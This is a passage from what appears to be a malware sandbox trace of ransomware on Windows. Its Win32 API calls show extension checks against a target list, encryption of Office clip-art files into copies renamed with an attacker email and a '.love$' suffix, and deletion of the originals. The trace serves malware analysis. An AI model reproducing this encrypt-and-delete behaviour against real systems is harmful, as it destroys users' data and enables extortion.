(lpString1=".bz2", lpString2=".WMF") returned -1 [0271.988] lstrlenW (lpString=".7z") returned 3 [0271.988] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0271.989] lstrlenW (lpString=".dbf") returned 4 [0271.989] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0271.989] lstrlenW (lpString=".1cd") returned 4 [0271.989] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0271.989] lstrlenW (lpString=".jpg") returned 4 [0271.989] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.989] lstrcmpiW (lpString1=".BMP", lpString2=".love$") returned -1 [0271.989] lstrlenW (lpString="J0101861.BMP") returned 12 [0271.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0271.990] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=32184) returned 1 [0271.990] CloseHandle (hObject=0x488) returned 1 [0271.991] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp")) returned 0x220 [0271.991] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0271.991] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0271.991] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0271.992] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0271.992] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c [0272.008] GetLastError () returned 0x0 [0272.008] ReadFile (in: hFile=0x488, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x7db8, lpOverlapped=0x0) returned 1 [0272.098] WriteFile (in: hFile=0x47c, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0272.101] ReadFile (in: hFile=0x488, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0272.101] WriteFile (in: hFile=0x47c, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0272.101] SetEndOfFile (hFile=0x47c) returned 1 [0272.114] CloseHandle (hObject=0x47c) returned 1 [0272.115] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.115] SetEndOfFile (hFile=0x488) returned 1 [0272.173] CloseHandle (hObject=0x488) returned 1 [0272.173] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0272.174] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp")) returned 1 [0272.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0272.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0272.175] lstrlenW (lpString=".doc") returned 4 [0272.175] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0272.176] lstrlenW (lpString=".docx") returned 5 [0272.176] lstrcmpiW (lpString1=".docx", lpString2="1.BMP") returned -1 [0272.176] lstrlenW (lpString=".pdf") returned 4 [0272.176] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0272.176] lstrlenW (lpString=".xls") returned 4 [0272.176] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0272.176] lstrlenW (lpString=".xlsx") returned 5 [0272.176] lstrcmpiW (lpString1=".xlsx", lpString2="1.BMP") returned -1 [0272.176] lstrlenW (lpString=".ppt") returned 4 [0272.176] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0272.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0272.176] lstrlenW (lpString=".zip") returned 4 [0272.176] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0272.176] lstrlenW (lpString=".rar") returned 4 [0272.176] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0272.176] lstrlenW (lpString=".bz2") returned 4 [0272.176] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0272.176] lstrlenW (lpString=".7z") returned 3 [0272.176] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0272.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0272.176] lstrlenW (lpString=".dbf") returned 4 [0272.176] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0272.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0272.176] lstrlenW (lpString=".1cd") returned 4 [0272.176] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0272.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0272.176] lstrlenW (lpString=".jpg") returned 4 [0272.177] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0272.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0272.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0272.177] lstrlenW (lpString=".doc") returned 4 [0272.177] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0272.177] lstrlenW (lpString=".docx") returned 5 [0272.177] lstrcmpiW (lpString1=".docx", lpString2="1.BMP") returned -1 [0272.177] lstrlenW (lpString=".pdf") returned 4 [0272.177] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0272.177] lstrlenW (lpString=".xls") returned 4 [0272.177] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0272.177] lstrlenW (lpString=".xlsx") returned 5 [0272.177] lstrcmpiW (lpString1=".xlsx", lpString2="1.BMP") returned -1 [0272.177] lstrlenW (lpString=".ppt") returned 4 [0272.177] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0272.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0272.177] lstrlenW (lpString=".zip") returned 4 [0272.177] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0272.177] lstrlenW (lpString=".rar") returned 4 [0272.177] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0272.177] lstrlenW (lpString=".bz2") returned 4 [0272.177] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0272.177] lstrlenW (lpString=".7z") returned 3 [0272.177] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0272.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0272.177] lstrlenW (lpString=".dbf") returned 4 [0272.178] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0272.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0272.178] lstrlenW (lpString=".1cd") returned 4 [0272.178] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0272.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0272.178] lstrlenW (lpString=".jpg") returned 4 [0272.178] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0272.178] lstrcmpiW (lpString1=".BMP", lpString2=".love$") returned -1 [0272.178] lstrlenW (lpString="J0101865.BMP") returned 12 [0272.178] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0272.181] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=32184) returned 1 [0272.181] CloseHandle (hObject=0x488) returned 1 [0272.182] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp")) returned 0x220 [0272.182] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0272.182] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0272.183] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.183] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0272.185] GetLastError () returned 0x0 [0272.185] ReadFile (in: hFile=0x488, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x7db8, lpOverlapped=0x0) returned 1 [0272.202] WriteFile (in: hFile=0x454, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0272.204] ReadFile (in: hFile=0x488, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0272.204] WriteFile (in: hFile=0x454, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0272.204] SetEndOfFile (hFile=0x454) returned 1 [0272.205] CloseHandle (hObject=0x454) returned 1 [0272.205] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.205] SetEndOfFile (hFile=0x488) returned 1 [0272.209] CloseHandle (hObject=0x488) returned 1 [0272.209] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0272.210] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp")) returned 1 [0272.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0272.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0272.212] lstrlenW (lpString=".doc") returned 4 [0272.212] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0272.212] lstrlenW (lpString=".docx") returned 5 [0272.212] lstrcmpiW (lpString1=".docx", lpString2="5.BMP") returned -1 [0272.212] lstrlenW (lpString=".pdf") returned 4 [0272.212] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0272.212] lstrlenW (lpString=".xls") returned 4 [0272.212] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0272.212] lstrlenW (lpString=".xlsx") returned 5 [0272.212] lstrcmpiW (lpString1=".xlsx", lpString2="5.BMP") returned -1 [0272.212] lstrlenW (lpString=".ppt") returned 4 [0272.212] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0272.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0272.212] lstrlenW (lpString=".zip") returned 4 [0272.212] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0272.212] lstrlenW (lpString=".rar") returned 4 [0272.212] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0272.212] lstrlenW (lpString=".bz2") returned 4 [0272.212] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0272.212] lstrlenW (lpString=".7z") returned 3 [0272.213] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0272.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0272.213] lstrlenW (lpString=".dbf") returned 4 [0272.213] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0272.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0272.213] lstrlenW (lpString=".1cd") returned 4 [0272.213] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0272.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0272.213] lstrlenW (lpString=".jpg") returned 4 [0272.213] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0272.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0272.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0272.213] lstrlenW (lpString=".doc") returned 4 [0272.213] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0272.213] lstrlenW (lpString=".docx") returned 5 [0272.213] lstrcmpiW (lpString1=".docx", lpString2="5.BMP") returned -1 [0272.213] lstrlenW (lpString=".pdf") returned 4 [0272.213] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0272.213] lstrlenW (lpString=".xls") returned 4 [0272.213] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0272.213] lstrlenW (lpString=".xlsx") returned 5 [0272.213] lstrcmpiW (lpString1=".xlsx", lpString2="5.BMP") returned -1 [0272.213] lstrlenW (lpString=".ppt") returned 4 [0272.213] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0272.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0272.501] lstrlenW (lpString=".zip") returned 4 [0272.501] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0272.501] lstrlenW (lpString=".rar") returned 4 [0272.501] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0272.533] lstrlenW (lpString=".bz2") returned 4 [0272.533] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0272.533] lstrlenW (lpString=".7z") returned 3 [0272.533] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0272.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0272.533] lstrlenW (lpString=".dbf") returned 4 [0272.533] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0272.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0272.533] lstrlenW (lpString=".1cd") returned 4 [0272.533] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0272.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0272.533] lstrlenW (lpString=".jpg") returned 4 [0272.534] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0272.534] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0272.534] lstrlenW (lpString="J0102762.WMF") returned 12 [0272.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102762.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c [0272.536] GetFileSizeEx (in: hFile=0x47c, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=11216) returned 1 [0272.536] CloseHandle (hObject=0x47c) returned 1 [0272.536] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102762.wmf")) returned 0x220 [0272.536] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102762.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0272.536] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102762.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c [0272.537] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.537] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.537] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102762.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0272.539] GetLastError () returned 0x0 [0272.539] ReadFile (in: hFile=0x47c, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x2bd0, lpOverlapped=0x0) returned 1 [0272.544] WriteFile (in: hFile=0x4ac, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0x2be0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0x2be0, lpOverlapped=0x0) returned 1 [0272.545] ReadFile (in: hFile=0x47c, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0272.545] WriteFile (in: hFile=0x4ac, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0272.546] SetEndOfFile (hFile=0x4ac) returned 1 [0272.546] CloseHandle (hObject=0x4ac) returned 1 [0272.546] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.546] SetEndOfFile (hFile=0x47c) returned 1 [0272.549] CloseHandle (hObject=0x47c) returned 1 [0272.549] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0272.550] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102762.wmf")) returned 1 [0272.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0272.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0272.552] lstrlenW (lpString=".doc") returned 4 [0272.552] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.552] lstrlenW (lpString=".docx") returned 5 [0272.552] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0272.552] lstrlenW (lpString=".pdf") returned 4 [0272.552] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.552] lstrlenW (lpString=".xls") returned 4 [0272.552] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.552] lstrlenW (lpString=".xlsx") returned 5 [0272.552] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0272.552] lstrlenW (lpString=".ppt") returned 4 [0272.552] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0272.552] lstrlenW (lpString=".zip") returned 4 [0272.552] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.552] lstrlenW (lpString=".rar") returned 4 [0272.552] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.552] lstrlenW (lpString=".bz2") returned 4 [0272.552] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.552] lstrlenW (lpString=".7z") returned 3 [0272.552] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0272.552] lstrlenW (lpString=".dbf") returned 4 [0272.553] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0272.553] lstrlenW (lpString=".1cd") returned 4 [0272.553] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0272.553] lstrlenW (lpString=".jpg") returned 4 [0272.553] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0272.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0272.553] lstrlenW (lpString=".doc") returned 4 [0272.553] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.553] lstrlenW (lpString=".docx") returned 5 [0272.553] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0272.553] lstrlenW (lpString=".pdf") returned 4 [0272.553] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.553] lstrlenW (lpString=".xls") returned 4 [0272.553] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.553] lstrlenW (lpString=".xlsx") returned 5 [0272.553] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0272.553] lstrlenW (lpString=".ppt") returned 4 [0272.553] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0272.553] lstrlenW (lpString=".zip") returned 4 [0272.553] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.553] lstrlenW (lpString=".rar") returned 4 [0272.553] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.553] lstrlenW (lpString=".bz2") returned 4 [0272.553] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.554] lstrlenW (lpString=".7z") returned 3 [0272.554] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0272.554] lstrlenW (lpString=".dbf") returned 4 [0272.554] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0272.554] lstrlenW (lpString=".1cd") returned 4 [0272.554] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.554] lstrlenW (lpString="C:\\Program Files\\Microsoft 